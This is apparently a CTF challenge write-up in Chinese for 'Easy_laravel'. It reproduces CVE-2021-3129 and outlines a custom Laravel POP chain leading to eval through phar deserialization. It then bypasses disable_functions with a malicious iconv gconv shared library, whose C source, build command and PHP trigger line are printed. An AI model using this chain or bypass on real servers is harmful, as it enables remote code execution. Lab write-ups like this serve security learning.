[题目标题]:
Easy_laravel
[题目描述]:
简单的漏洞复现
[FLAG]:
动态FLAG
[题目考点]:
1. CVE-2021-3129复现
2. 挖掘laravel 8.22.0 POP链
3. bypass disable_function
[题目环境]:
1. ubuntu1~18.04.1
2. Apache/2.4.38
3. php:7.4.3-apache
[题目writeup]:
- 进入主页很明显是Laravel Debug Rce 。由于源码中对一些已公开的pop链做了修改。并且php版本为7.4没有assert、web目录只有session和log目录有写权限。需要自己挖一个eval的POP链。
ImportConfigurator类的destruct方法可以跳转到__call
HigherOrderMessage类的__call方法存在任意类的方法调用
MockTrait类的generate方法存在eval调用。并且值可控
然后就可以eval执行代码
- 写一个phar在logs下,一直调用phar反序列化。eval执行代码
- 调用phpinfo()发现有disable_funciton和open_basedir,发现禁用其他函数。但是可以用global协议查看根目录
- 发现有/readflag。可以用伪协议触发iconv bypass disable_function
生成so
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
exit(0);
}
gcc payload.c -o payload.so -shared -fPI
- 由于没办法同时传json和上传文件。所以得GET分N次写入so
触发so。获取返回结果
file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/guoke',123);
file_get_contents('/tmp/file');